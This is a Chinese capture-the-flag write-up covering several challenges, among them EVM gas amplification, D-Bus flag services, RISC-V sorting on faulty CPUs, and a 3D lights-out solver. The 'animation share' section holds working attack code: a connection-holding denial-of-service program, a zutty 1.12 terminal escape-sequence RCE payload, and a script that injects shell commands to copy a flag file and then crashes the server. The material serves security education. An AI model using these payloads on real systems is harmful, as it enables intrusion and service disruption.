对于了解EVM的同学,直接就能看出,memory state cost可以做到平方级别的放大。如果我们能利用这个就好了。但我们看源码中,并没有存储call的返回内容,看起来似乎不可行。但对solidity编译器的风格有一定了解的同学可能会想到,这玩意说不定擅自存了一份。于是我们查看bytecode,发现还真是,而且每一个合约的返回结果都会被存下来:内存里面同时存了10个返回值,可能会造成100倍的gas放大,应该可以过这个题了。

但实际上如果我们去卡这个数,发现卡不出来。比如里面直接写一个 return (0,51000),内部gas基本上恰好卡到10000的上限,但是外层离达到过题的1000000还有一定差距。众所周知,EVM CALL操作的内部实际gas运算规则非常复杂,如果我们再去看doc,发现里面有写到:Also, if call_value > 0, a 2300 gas stipend is added to the amount of gas included in the call, but not to the cost of making the call.。这说明我们内部实际传的gas是12300。因此我们把returnsize改到59000,就可以通过本题了。

contract test
{
    fallback() payable external 
    {
        assembly
        {
            return(0,59000)
        }
    }
}

如果你没事干的话,还可以挑战一下最短payload,例如:600b380380600b3d393df3630000e6785ff3。虽然这个可以很容易优化到更短。

0x13 不太分布式的软总线

本题跑了一个dbus服务,需要从里面拿到flag。

看源码flag1,显然我们只需要给这个dbus发一条消息就好了。结合题目中的命令,询问一下gpt,不难写出:

dbus-send --system --print-reply --dest=cn.edu.ustc.lug.hack.FlagService /cn/edu/ustc/lug/hack/FlagService cn.edu.ustc.lug.hack.FlagService.GetFlag1 string:"Please give me flag1"

上传一个bash就好了。

再看flag,这题我们需要传一个fd。那必须得写cpp了。我们还是让gpt写,可以让他改写一下上面的命令。同时题目中会检测fd不能是盘上的文件,因此我们考虑开一个pipefd。

#include <dbus/dbus.h>
#include <iostream>
#include <fcntl.h>   // for open()
#include <unistd.h>  // for close()
#include <string>
#include <errno.h>
#include <cstring>

void check_and_exit_on_error(DBusError &err) {
    if (dbus_error_is_set(&err)) {
        std::cerr << "D-Bus Error: " << err.name << " - " << err.message << std::endl;
        dbus_error_free(&err);
        exit(1);
    }
}

int main() {
    DBusError err;
    DBusConnection* conn;
    DBusMessage* msg;
    DBusMessage* reply;
    DBusMessageIter args;
    int pipefd[2];
    bool stat;
    char* response;


    if (pipe(pipefd) == -1) {
        std::cerr << "Failed to create pipe" << std::endl;
        return 1;
    }

    const char* message = "Please give me flag2\n";
    ssize_t bytes_written = write(pipefd[1], message, strlen(message));
    if (bytes_written != (ssize_t)strlen(message)) {
        std::cerr << "Failed to write to pipe" << std::endl;
        return 1;
    }

    // 初始化 D-Bus 错误变量
    dbus_error_init(&err);

    // 连接到 system bus
    conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
    check_and_exit_on_error(err);
    if (!conn) {
        std::cerr << "Failed to connect to the D-Bus daemon." << std::endl;
        return 1;
    }

    // 创建方法调用消息
    msg = dbus_message_new_method_call(
        "cn.edu.ustc.lug.hack.FlagService",   // 服务名
        "/cn/edu/ustc/lug/hack/FlagService",  // 目标对象路径
        "cn.edu.ustc.lug.hack.FlagService",   // 接口名
        "GetFlag2"                            // 方法名
    );

    if (!msg) {
        std::cerr << "Failed to create message." << std::endl;
        return 1;
    }

    std::cout << "Appending arguments..." << std::endl;

    // 使用 DBUS_TYPE_UNIX_FD 来传递文件描述符
    dbus_message_iter_init_append(msg, &args);
    if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_UNIX_FD, &pipefd[0])) {
        std::cerr << "Failed to append file descriptor to message." << std::endl;
        return 1;
    }

    std::cout << "Sending message..." << std::endl;

    // 发送消息并等待响应
    reply = dbus_connection_send_with_reply_and_block(conn, msg, DBUS_TIMEOUT_USE_DEFAULT, &err);
    check_and_exit_on_error(err);

    if (!reply) {
        std::cerr << "Failed to receive reply." << std::endl;
        return 1;
    }

    // 读取返回的参数
    if (!dbus_message_iter_init(reply, &args)) {
        std::cerr << "Reply has no arguments!" << std::endl;
    } else if (DBUS_TYPE_STRING != dbus_message_iter_get_arg_type(&args)) {
        std::cerr << "Argument is not a string!" << std::endl;
    } else {
        dbus_message_iter_get_basic(&args, &response);
        std::cout << "Received response: " << response << std::endl;
    }

    // 释放消息
    dbus_message_unref(msg);
    dbus_message_unref(reply);
    dbus_connection_unref(conn);
    dbus_error_free(&err);

    return 0;
}

再看flag3。这次不用传参数了,但是有一坨看起来像鉴权的代码。问一下gpt,gpt说是获取发送消息进程的pid。后面会通过读/proc/pid/comm的方式检查这个文件名是不是getflag3。由于我们上传的文件名是executable,所以直接跑是不行的。但熟悉hg infra的同学都知道,虽然根目录挂载的是不可写的,但是/dev/shm是有写入权限的。简单测试一下后发现还真的能写,于是我们直接传个bash脚本,写一个getflag3然后执行就可以。

#include <dbus/dbus.h>
#include <iostream>
#include <fcntl.h>   // for open()
#include <unistd.h>  // for close()
#include <string>
#include <errno.h>
#include <cstring>

void check_and_exit_on_error(DBusError &err) {
    if (dbus_error_is_set(&err)) {
        std::cerr << "D-Bus Error: " << err.name << " - " << err.message << std::endl;
        dbus_error_free(&err);
        exit(1);
    }
}

int main() {
    DBusError err;
    DBusConnection* conn;
    DBusMessage* msg;
    DBusMessage* reply;
    DBusMessageIter args;
    bool stat;
    char* response;

    // 初始化 D-Bus 错误变量
    dbus_error_init(&err);

    // 连接到 system bus
    conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
    check_and_exit_on_error(err);
    if (!conn) {
        std::cerr << "Failed to connect to the D-Bus daemon." << std::endl;
        return 1;
    }

    // 创建方法调用消息
    msg = dbus_message_new_method_call(
        "cn.edu.ustc.lug.hack.FlagService",   // 服务名
        "/cn/edu/ustc/lug/hack/FlagService",  // 目标对象路径
        "cn.edu.ustc.lug.hack.FlagService",   // 接口名
        "GetFlag3"                            // 方法名
    );

    if (!msg) {
        std::cerr << "Failed to create message." << std::endl;
        return 1;
    }

    std::cout << "Appending arguments..." << std::endl;

    // 使用 DBUS_TYPE_UNIX_FD 来传递文件描述符
    dbus_message_iter_init_append(msg, &args);
    // if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_UNIX_FD, &pipefd[0])) {
    //     std::cerr << "Failed to append file descriptor to message." << std::endl;
    //     return 1;
    // }

    std::cout << "Sending message..." << std::endl;

    // 发送消息并等待响应
    reply = dbus_connection_send_with_reply_and_block(conn, msg, DBUS_TIMEOUT_USE_DEFAULT, &err);
    check_and_exit_on_error(err);

    if (!reply) {
        std::cerr << "Failed to receive reply." << std::endl;
        return 1;
    }

    // 读取返回的参数
    if (!dbus_message_iter_init(reply, &args)) {
        std::cerr << "Reply has no arguments!" << std::endl;
    } else if (DBUS_TYPE_STRING != dbus_message_iter_get_arg_type(&args)) {
        std::cerr << "Argument is not a string!" << std::endl;
    } else {
        dbus_message_iter_get_basic(&args, &response);
        std::cout << "Received response: " << response << std::endl;
    }

    // 释放消息
    dbus_message_unref(msg);
    dbus_message_unref(reply);
    dbus_connection_unref(conn);
    dbus_error_free(&err);

    return 0;
}
#!/bin/bash

b64data='''
...
'''

echo "$b64data" | base64 -d > /dev/shm/getflag3

chmod +x /dev/shm/getflag3

/dev/shm/getflag3

0x14 RISC-V:虎胆龙威

题目在有问题的cpu上实现一个16个数的排序。

第一问,cpu问题在于算术单元只能用加法。但我们具体查看verilog源码,不难发现其实移位相关指令是完好的。虽然题目中给的示例代码中有个sub,但我们可以很容易地重写一个没有sub的。但最主要的问题是,所有比较大小的方法都不能用了。比如冒泡排序内的比较交换,还有for循环的条件判断(这块我后来听说bne其实是会翻译成其他指令的,所以是可以用的,因此用bne做跳转是可以的)。那我们就考虑手动实现一个blt函数,用于比较跳转。

同时注意到其实移位指令都是可以使用的。因此思路就非常简单了:我们使用移位指令,从高位到低位依次判断大小。如果该位是10或者01就直接跳出,否则继续判断下一位。这个东西用移位和立即数加减法是很好实现的。我们这里面使用的switch-case跳转操作,使用跳表结构就好。另外如果两个数字相等,则循环需要在末尾手动跳出,即我们还需要一个循环条件判定。这块我还是写了个跳表,不过实际上可以大力循环展开。另外写的时候我遇到了一个小坑:我写汇编喜欢写do-while循环。此处在外层循环执行到最后一遍的时候,内层循环是while-do的话应该完全不执行,但我还是执行了。不难发现这个问题并调好。

把代码写好后直接交上去跑,发现在16个数字都一样的时候时钟周期超了一点。所以这块我把内层循环的边界判断从比较函数也换成了跳表。当然你可以使用bne(我后来才知道)。另外一个方法是,对上面的比较函数单独再定义一个comp_8之类的入口,对于枚举变量ij只比较低位。

具体写的时候还会有一个坑:因为里面涉及到了跳表,所以需要走链接流程才能往跳表里面填写正确的内存地址。因此需要改一下题目中所提供的指令。同时链接时还需要手动指定text段从0开始。

.section .text
    .global _start


_start:

#init jump table by hand to avoid linker gg
j _inittb

_rstart:

#real start

li x30, 0xf80 #base pointer

addi x29, x30, 64 #end

addi x7, x30, 0 # *i  x7
addi x24, x0, 0 #i


_loop1:
addi x8, x7, 4 # *j  x8
addi x25, x24, 1
_loop2:
lw x4, (x7)
lw x5, (x8)
#bltu x4, x5, _noexchange
mv x11, x4
mv x12, x5
la x13, _noexchange
la x9, _comp
jalr ra, 0(x9)

mv x6, x4
mv x4, x5
mv x5, x6

_noexchange:
sw x4, (x7)
sw x5, (x8)

addi x8, x8, 4
addi x25, x25, 1
#bltu x8, x29, _loop2
#mv x11, x8
#mv x12, x29
#la x13, _loop2
#la x9, _comp
#jalr ra, 0(x9)
#use jump table now
slli x11, x25, 2
la x9, loop2tb
add x9, x9, x11
lw x9, 0(x9)
jr x9

j _loop2_end

_loop2_end:
addi x7, x7, 4
addi x24, x24, 1
#bltu x7, x29, _loop1
mv x11, x7
addi x12, x29, -4 #do while check
la x13, _loop1
la x9, _comp
jalr ra, 0(x9)


j _loop1_end

_loop1_end:
j _mend

jptb:
    .word _cpb00
    .word _cpb01
    .word _cpb10
    .word _cpb11

beqtb:
    .word _loop_cmp #0
    .word _loop_cmp #1
    .word _loop_cmp #2
    .word _loop_cmp #3
    .word _loop_cmp #4
    .word _loop_cmp #5
    .word _loop_cmp #6
    .word _loop_cmp #7
    .word _loop_cmp #8
    .word _loop_cmp#9
    .word _loop_cmp#10
    .word _loop_cmp#11
    .word _loop_cmp#12
    .word _loop_cmp#13
    .word _loop_cmp#14
    .word _loop_cmp#15
    .word _loop_cmp#16
    .word _loop_cmp#17
    .word _loop_cmp#18
    .word _loop_cmp#19
    .word _loop_cmp#20
    .word _loop_cmp#21
    .word _loop_cmp#22
    .word _loop_cmp#23
    .word _loop_cmp#24
    .word _loop_cmp#25
    .word _loop_cmp#26
    .word _loop_cmp#27
    .word _loop_cmp#28
    .word _loop_cmp#29
    .word _loop_cmp#30
    .word _loop_cmp#31
    .word _loop_cmp#32
    .word _comp_retn#33

loop2tb:
    .word _loop2 #0
    .word _loop2 #1
    .word _loop2 #2
    .word _loop2 #3
    .word _loop2 #4
    .word _loop2 #5
    .word _loop2 #6
    .word _loop2 #7
    .word _loop2 #8
    .word _loop2#9
    .word _loop2#10
    .word _loop2#11
    .word _loop2#12
    .word _loop2#13
    .word _loop2#14
    .word _loop2#15
    .word _loop2_end#16

_inittb:
#nolonger need
j _rstart

_comp:
#a:x11 b:x12 jmpy:x13 jmpn:ra
la x14, 30 #c
la x19, 2 #32-c
_loop_cmp:
srl x15, x11, x14
srl x16, x12, x14
add x17, x15, x15
add x17, x17, x16
slli x17, x17, 2
la x18, jptb
add x18, x18, x17
lw x18, 0(x18)
jr x18

_loop_cmp_continue:
addi x14, x14, -1
addi x19, x19, 1
slli x17, x19, 2
la x18, beqtb
add x18, x18, x17
lw x18, 0(x18)
jr x18

_cpb00:
j _loop_cmp_continue
_cpb01:
j _comp_rety
_cpb10:
j _comp_retn
_cpb11:
sll x11, x11, x19
srl x11, x11, x19
sll x12, x12, x19
srl x12, x12, x19
j _loop_cmp_continue

_comp_rety:
jalr x0, 0(x13)
_comp_retn:
jalr x0, 0(ra)

_mend:

li x29, 0xfc0

lw x1, (x30)
sw x1, (x29)
lw x1, 4(x30)
sw x1, 4(x29)
lw x1, 8(x30)
sw x1, 8(x29)
lw x1, 12(x30)
sw x1, 12(x29)
lw x1, 16(x30)
sw x1, 16(x29)
lw x1, 20(x30)
sw x1, 20(x29)
lw x1, 24(x30)
sw x1, 24(x29)
lw x1, 28(x30)
sw x1, 28(x29)
lw x1, 32(x30)
sw x1, 32(x29)
lw x1, 36(x30)
sw x1, 36(x29)
lw x1, 40(x30)
sw x1, 40(x29)
lw x1, 44(x30)
sw x1, 44(x29)
lw x1, 48(x30)
sw x1, 48(x29)
lw x1, 52(x30)
sw x1, 52(x29)
lw x1, 56(x30)
sw x1, 56(x29)
lw x1, 60(x30)
sw x1, 60(x29)

_end:
j _end
riscv64-unknown-elf-as -march=rv32i -mabi=ilp32 h1.s -o a.out
riscv64-unknown-elf-ld a.out -m elf32lriscv -Ttext 0x0 -o a.lout
riscv64-unknown-elf-objcopy -O binary a.lout a.bin
python3 makehex.py a.bin > firmware.hex

第二问,题目中要求每个内存只能访问一遍。一眼:这不是编译器的SSA输出吗。后来一想,这一问最主要的问题其实是不能用循环了:循环体代码段会被读多遍。对于要排序的数据,由于只有16个,所以我们可以直接全部塞到寄存器里面。rv寄存器太多了!对于不能用循环的问题也很简单,我们手动循环展开一下就好了。


regs=[]

for i in range(16):
    regs.append(f"x{i+1}")

asms=[]

asms.append(f"li x29, {0xf80}")
for i in range(16):
    asms.append(f"lw {regs[i]}, {i*4}(x29)")

#bubble sort
for i in range(16):
    for j in range(i+1,16):
        v1=regs[i]
        v2=regs[j]

        asms.append(f"blt {v1}, {v2}, .L{i}_{j}")
        asms.append(f"mv x30, {v1}")
        asms.append(f"mv {v1}, {v2}")
        asms.append(f"mv {v2}, x30")
        asms.append(f".L{i}_{j}:")

#output

asms.append(f"li x29, {0xfc0}")

for i in range(16):
    reg=regs[i]
    asms.append(f"sw {reg}, {i*4}(x29)")


f=open("gen2.s","w")
for asm in asms:
    f.write(asm+"\n")
f.close()

第三问,题目中每次内存访问请求中,小端第三个字节都会被置零。这对我们的影响是全面的,比如从内存读取数字的时候(还好这题不需要,我最开始还研究了好一阵怎么拼出来一个4byte)。不过最狠的是,读取指令的时候也会走这个,并且没有办法绕过:我们所有指令的第三位必须是全0。这可太狠了!

我们直接开risc-v的spec。我们发现,对于大部分我们要用到的指令,覆盖的内容都是rs1的高4位、rs2的低4位、imm的低4位。这就意味着,我们能在指令中使用的寄存器只有x0,x1,x16(还有顺序限制)。不过好在rd是不限制的,我们也可以随便mv。另外jump类指令实践上也没有什么问题(本来我觉得可能会存在潜在的对齐问题,可能要加入一些nop,但是实际测下来没有遇到)。

接下来开始考虑本题怎么完成。首先考虑数据存哪:显然是内存里。由于偏移量低四位必须是0,意味着我们必须做到16对齐。我们在内存上选择一块空间,然后自己手动管理一下分配就好。注意到imm的最高位是符号扩展位,所以我们实际能用的地址在0x200以内。为了避免和text段的代码重合导致实际可用空间变小,我把text段写到了0x200后,使得我们可以肆意妄为地使用前面地空间。当然在实际实现的时候,考虑到机子上应该是从0地址开始执行的,我在开头段塞了一个jmp,跳转到后续真正的text段。定位用secion的属性实现就好。

开始写的时候,我们遇到了本题另一个麻烦的题:怎么把数字从题目给定的地址中,读取到我们方便操作的地方,以及最后怎么写回去。注意到尽管我们的立即数只能是16对齐的,但是只要我们提前把想要操作的不是16对齐的地址写到寄存器内,我们就可以直接从寄存器取址,完成非对齐地址的读写了。但我们需要计算出一个4写到寄存器内。这个也很简单:我们构造一个slt x1, 0, 16,之后多次用add倍增就好了。同时为了后面用的方便,我还把1 2 4 8这几个立即数写到了变量里面(其实只用了4)。

之后我们就正常的用两寄存器的方式写代码就好。每条指令计算前load load,之后store,顺便把一眼的优化做了。不是很麻烦。


addrv={}
vaddr={}
curcnt=0x00

def new_addr(tag):
    global curcnt
    curcnt+=0x10
    vaddr[tag]=curcnt
    addrv[curcnt]=tag
    return curcnt

asms=[]

avail_rs1 = ["x0","x1"]
avail_rs2 = ["x0","x16"]

def before_op_2r(rd,rs1,rs2):
    assert rs1 in avail_rs1
    assert rs2 in avail_rs2

def mv(rd,rs):
    if rd==rs:
        return
    if rs in avail_rs1:
        asms.append(f"add {rd}, {rs}, x0")
    elif rs in avail_rs2:
        asms.append(f"add {rd}, x0, {rs}")
    else:
        assert False

def loadgv(rd,tag):
    iaddr=vaddr[tag]
    asms.append(f"lw {rd}, {iaddr}(x0)")

def savegv(rs,tag):#use x16
    mv("x16",rs)
    iaddr=vaddr[tag]
    asms.append(f"sw x16, {iaddr}(x0)")

#available rs1: x0 x1
#available rs2: x0 x16

#sw rs2, imm(rs1)
#lw rd, imm(rs1)

#gen imm < 16  enough ram?
asms.append("addi x16, x0, 0x10")
asms.append("slt x16, x0, x16")#x16=1
for i in range(0,4):
    nv=2**i
    ad=new_addr(f"imm{nv}")
    # asms.append(f"sw x16, {ad}(x0)")
    savegv("x16",f"imm{nv}")
    mv("x1","x16")
    asms.append(f"add x16, x1, x16")

basepd=0xf80#not very nice for imm12
top=0xfc0

basepv=new_addr("basep")
asms.append("addi x1, x0, 0x400")
asms.append("addi x1, x1, 0x400")
asms.append("addi x1, x1, 0x780")
savegv("x1","basep")

# loadw("x1","x1")

#move arr to basearr
for i in range(16):
    mt=f"s{i}"
    new_addr(mt)
    asms.append("lw x16, (x1)")
    savegv("x16",mt)
    loadgv("x16","imm4")
    asms.append("add x1, x1, x16")
    
arrbase=vaddr["s0"]
new_addr("i")
new_addr("j")
new_addr("ne")#end pos
new_addr("nej")#end pos j

asms.append(f"addi x1, x0, {arrbase}")
asms.append(f"addi x16, x1, {15*16}")
savegv("x16","ne")
asms.append(f"addi x16, x1, {16*16}")
savegv("x16","nej")

new_addr("av")
new_addr("bv")

asms.append(f"addi x16, x0, {arrbase}")
savegv("x16","i")

asms.append("_loop1:")
loadgv("x1","i")
asms.append("addi x16, x1, 16")
savegv("x16","j")
asms.append("_loop2:")

loadgv("x1","i")
asms.append(f"lw x16, (x1)")
savegv("x16","av")
loadgv("x1","j")
asms.append(f"lw x16, (x1)")
savegv("x16","bv")

loadgv("x1","av")
loadgv("x16","bv")
asms.append(f"blt x1, x16, _noexchange")

savegv("x16","av")
savegv("x1","bv")

loadgv("x1","i")
loadgv("x16","av")
asms.append(f"sw x16, (x1)")

loadgv("x1","j")
loadgv("x16","bv")
asms.append(f"sw x16, (x1)")

asms.append("_noexchange:")
loadgv("x1","j")
asms.append("addi x1, x1, 0x10")
savegv("x1","j")
loadgv("x16","nej")
asms.append(f"blt x1, x16, _loop2")

#loop2 end
loadgv("x1","i")
asms.append("addi x1, x1, 0x10")
savegv("x1","i")
loadgv("x16","ne")
asms.append(f"blt x1, x16, _loop1")


asms.append("addi x1, x0, 0x400")
asms.append("addi x1, x1, 0x400")
asms.append("addi x1, x1, 0x7c0")
for i in range(16):
    mt=f"s{i}"
    loadgv("x16",mt)
    asms.append("sw x16, (x1)")
    loadgv("x16","imm4")
    asms.append("add x1, x1, x16")


asms.append("_end:")
asms.append("j _end")


f=open("h3.s","w")
f.write(".section .text.init\n")
f.write(".org 0x0\n")
f.write("_start:\n")
f.write("jal 0x7f0\n")

f.write(".globl _start\n")
f.write("_mystart:\n")

f.write(".section .data\n")
f.write(".org 0x10\n")

f.write(".section .text.end\n")
# f.write(".org 0x7f0\n")
f.write(".org 0x7ec\n")

for asm in asms:
    f.write(asm+"\n")
f.close()

print(hex(curcnt))

for v in vaddr:
    print(v,vaddr[v],hex(vaddr[v]))

0x15 动画分享

先看第一题,但是我发现我不会rust,所以只能乱做了。不过看题目说什么pid有限制什么的,我就想起来之前遇到过一个坑:如果一个socket server用多线程的方法写的,每个线程都会占一个pid,在有pid limit的时候就会爆炸。所以我就考虑这么做来拒绝服务(而不是题目说的让他崩掉)。当然,我们要考虑到不会被subprocess的timeout删掉。熟悉linux的同学直接就会搞了:子进程setpgid后,杀主进程就没影响了。但我写了之后发现虽然把pid打爆了,但是不工作。仔细一看:原来这个socket server是传统单线程,每次accept一个,结束后再处理下一个。所以思路更简单了:我们开一个子进程,之后连一下socket,卡着不发送东西。等后面题目测试存活的时候,就会发现消息发不进去。

#include <iostream>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

using namespace std;

int main()
{
    pid_t pid;
    int i;
    for(i=0; i<5; i++)
    {
        pid = fork();
        if(pid == -1)
        {
            cout << "Error: " << strerror(errno) << endl;
            continue;
        }
        if(pid == 0)
        {
            cout << "Child process: " << getpid() << endl;
            setpgid(0, 0);
            sleep(1);
            //connect socket 127.0.0.1:8000

            int sockfd;
            struct sockaddr_in server_addr;
            char buffer[1024];
            int bytes_received;

            sockfd = socket(AF_INET, SOCK_STREAM, 0);
            if(sockfd < 0)
            {
                cout << "Error: " << strerror(errno) << endl;
                exit(1);
            }

            server_addr.sin_family = AF_INET;
            server_addr.sin_port = htons(8000);
            server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");

            if(connect(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0)
            {
                cout << "Error: " << strerror(errno) << endl;
                exit(1);
            }

            sleep(50);
        }
    }
    wait(NULL);
    sleep(100);
    return 0;
}

再看第二题。由于我们的运行程序有权限限制,并不能直接cat flag。同时fileserver是运行在chroot下的,没法读到flag文件(除非rce了搞事情)。不过其实很容易就能看到本题环境有诸多奇怪的地方:比如fileserver是专门起了一个zutty跑的,而且这个zutty还是1.12老版本。我们直接搜索这个版本有没有什么漏洞,发现了 https://bugs.gentoo.org/868495 ,只需要让程序输出一坨东西就可以RCE,可以直接下一个poc。

b'\x1bP$q\ncat /etc/passwd\n\x1b\\\n'

我们本地测试一下,比如先把命令换成touch xxx,在bashrc里面写上cat poc,之后运行zutty 1.12,发现确实是成功的。之后我们考虑如何操控fileserver输出:不难发现 Received request: 这一行输出结果是可以随便控制的,但他只能输出一行内容。当然我们可以把poc拆成多个请求多行发送,只不过中间会多一些无意义的字符串。我们简单测试一下,发现这些字符串并不会影响RCE,同时命令也可以写用分号隔开的多个命令。也就意味着我们传个 ; touch xxx 就可以成功执行了。

但我们写脚本上线测试后发现并不能运行:fileserver可以输出我们想要的东西,但就是不执行;我们把fileserver输出的东西写到文件里面然后去cat,又是成功执行的。我又想到第一问的题目提示,怀疑是不是要fileserver进程退出之后才会被执行。手动杀一下,发现还真是。因此我们又回到了第一问的原始问题(逃课失败了呜呜呜),如何把fileserver杀掉。

但我并不会rust,于是我问了gpt,gpt告诉我let file_path = &path[1..]这一行,如果path是非ascii字符就会被截断,然后就会panic。我试了一下,发现gpt真厉害!

最后就是怎么读出flag:显然我们直接cat是没用的,但是我们只需要把flag挪到一个我们有权限读的地方就可以自己读了。

#!/usr/bin/env python3
import os
import socket
import time

b1=b'\x1bP$q\n'
b2=b'; cat /flag2 > /dev/shm/www; chmod 777 /dev/shm/www ; \n'
b3=b'\x1b\\\n'

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 8000))
sock.send(b1)

print(sock.recv(8192))
sock.close()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 8000))
sock.send(b2)

print(sock.recv(8192))
sock.close()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 8000))
sock.send(b3)

print(sock.recv(8192))
sock.close()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 8000))
sock.send("GET 啊啊".encode())

print(sock.recv(8192))
sock.close()

time.sleep(1)
os.system("ls -la /dev/shm")
os.system("cat /dev/shm/www")

0x16 LESS 文件查看器在线版

这题虽然我没做出来但我还要写。本题给了一个less的访问,可以任意控制文件名和内容。需要做到任意读。

当然稍微看一下就能看出来,虽然这题在web类,但实际上要搞的是内层的docker,和web没太大关系。看内层源码,我最开始研究了好久less的源码,发现了特殊文件名-,会处理stdin,但其实没有什么卵用。后来稍微搜索了一下,发现安装less后,包里面有个lesspipe的东西,可以做到很多操作,比如RCE!当我们用less打开特定扩展名的文件时,就会调用。

之后我们就考虑构造。但题目中给的系统安装的东西很少。我大概看了一下,能用的基本都是只会输出一些信息(比如压缩包文件列表),没有能修改盘内容(实际上有)或者读取文件的,除了dpkg可能会。我本地简单测了一下,发现dpkg会从deb的包里面读取一个control的文本文件。如果我们把这个文件改成软链接,就能做到任意读了。

之后我本地打了个包试了下,本地(甚至在题目docker下)没毛病了。提交之后发现挂了。试了一下,发现不管是哪个deb,都无法打出control的东西。结合源码思考了一下,这是因为dpkg在看info的时候,会创建一个临时文件夹,在这里面解压文件,默认目录是/tmp。而这个目录在hackergame生产环境中是readonly的,所以无法解压。

搞出这玩意已经是周五晚上了。看到不成功后我直接怒关本题看其他题去了。如果再回头看一看可能就解了。我也看到了题解中说到的 https://seclists.org/oss-sec/2014/q4/769 ,但我懒得去看完整的讨论了,就自己试了试。写了本机成功但是提交失败的exp就怒退了。

0x17 关灯

先看题,就是3D关灯游戏,每一问都是一样的,只是大小(难度)不太一致,以及最后一问输入输出会麻烦一点。因此考虑直接做大的,n=149,n33e6n=149,n^3\approx 3e6

众所周知:关灯游戏中,每一个点最终的状态就是附近操作和原来状态的异或。我们不难列出一个n3n^3个XOR方程组。当然这么做显然太垃圾了。同样众所周知:原版关灯游戏当我们确定第一行的操作后,后续的所有行都可以从第一行递推出来。3D版中,当我们确定第一层操作后,同样可以递推后续所有层。注意到我们递推的方法是这样:当前i层操作都确定的时候,第i层的每一个格子都会依赖本层的5个格子、上层的1个格子,以及下层正对的1个格子;前面六个是确定的,而我们需要达到的状态也是确定的,因此下层有且仅有唯一解。当我们按照此方法递推时,每一层都可以得到唯一解,但是最后一层的内部约束(即最后一层的最终状态)还没有被检查。因此我们可以列出n2n^2个方程组(对应最后一层的约束),其中有n2n^2个未知数(即第一层的操作)。

如果我们直接实现,就可以得到不错的效果了:递推最后一层状态时的时间复杂度是O(n3n2)O(n^3n^2),这是因为我们需要对每一个格子维护一个n2n^2的数组用于表示未知元部分。此处还需要使用滚动数组优化使得空间复杂度为O(n4)O(n^4)。消元的时间复杂度是O((n2)3)O((n^2)^3)。总共O(n6)O(n^6)的复杂度已经可以在可被接受时间内跑出来了,但是10s仍然不够。10s我们需要做到O(n4)O(n^4)的复杂度。

我们注意到最终的方程未知数部分和常量部分是分离的,无论题目怎么变,只有常量部分会改变。因此我们可以考虑离线做递推部分,把方程的未知数提前算好并存下来。而常数部分的递推只需要O(n3)O(n^3)。同时,高斯消元也可以离线做,可以提前算出来每个变量是由哪几个常量异或出的即可。这样我们只需要代值就好了,复杂度O(n4)O(n^4)

实现的时候显然我们得py+cpp混合编程了。我们可以多做一些优化,比如善用bitset。另外我观察到,在递推的过程中,大部分格子涉及到的未知数数量都非常少(大概是O(n)O(n)的量级),因此我由写了一个稀疏bitset。不过高斯消元部分由于削去后不够稀疏,还是用的bitset(其实左右分离,左侧用稀疏版,右侧用bitset会更快,但是有点麻烦了)。当然,高斯消元要写支持自由元的(Copilot就不会写,我谔谔;不过我写的还是有点复杂了)。最后,为了减少提交实际所需要的时间(其实必要性不大),我在py内会先调用cpp,cpp先执行读取操作。等py写入数据后,向cpp传一个回车,cpp再执行计算部分。

from pwn import *
import numpy
import zlib
import base64
import time
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import os
import subprocess
import re
import sys

token=""

def convert_switch_array_to_lights_array(switch_array: numpy.array) -> numpy.array:
    lights_array = numpy.zeros_like(switch_array)
    lights_array ^= switch_array
    lights_array[:-1, :, :] ^= switch_array[1:, :, :]
    lights_array[1:, :, :] ^= switch_array[:-1, :, :]
    lights_array[:, :-1, :] ^= switch_array[:, 1:, :]
    lights_array[:, 1:, :] ^= switch_array[:, :-1, :]
    lights_array[:, :, :-1] ^= switch_array[:, :, 1:]
    lights_array[:, :, 1:] ^= switch_array[:, :, :-1]
    return lights_array

def generate_puzzle(n: int) -> numpy.array:
    random_bytes = get_random_bytes((n**3) // 8 + 1)
    switch_array = numpy.unpackbits(numpy.frombuffer(random_bytes, dtype=numpy.uint8))[:(n**3)].reshape(n, n, n)
    lights_array = convert_switch_array_to_lights_array(switch_array)
    return lights_array

def compress_and_encrypt(data: str, key: bytes) -> str:
    compressed_data = zlib.compress(data.encode('utf-8'))
    cipher = AES.new(key, AES.MODE_CBC)
    encrypted_data = base64.b64encode(cipher.iv + cipher.encrypt(pad(compressed_data, AES.block_size))).decode('utf-8')
    return encrypted_data

def decrypt_and_decompress(data: str, key: bytes) -> str:
    data = base64.b64decode(data.encode('utf-8'))
    cipher = AES.new(key, AES.MODE_CBC, iv=data[:AES.block_size])
    decrypted_data = unpad(cipher.decrypt(data[AES.block_size:]), AES.block_size)
    decompressed_data = zlib.decompress(decrypted_data).decode('utf-8')
    return decompressed_data

ns=[3,5,11,149]

diff=4
n=ns[diff-1]

#recompile
#replace const int N=?
def workfile(fn,n):
    f=open(fn,'r')
    data=f.read()
    f.close()
    data=re.sub(r'const int N=\d+;',f'const int N={n};',data)
    f=open(fn,'w')
    f.write(data)

workfile('genmat.cpp',n)
os.system('g++ -o genmat -O2 genmat.cpp')
workfile('work.cpp',n)
os.system('g++ -o work -O2 work.cpp')

print("Compiling done")

os.system('./genmat')
print("Generated")

r=subprocess.Popen('./work',stdin=subprocess.PIPE,stdout=sys.stdout)


# s=process('python3 judge.py',shell=True)

s=remote('202.38.93.141',10098)
s.sendlineafter('token:',token)



s.sendlineafter('Enter difficulty level (1~4):',str(diff))

if diff!=4:
    mess=s.recvline().decode().strip()
    rawdata=mess
    # print(rawdata)
else:
    mess=s.recvline().decode().strip()
    s.recvuntil('Press [Enter]')
    s.sendline()
    key=s.recvline().decode().strip()
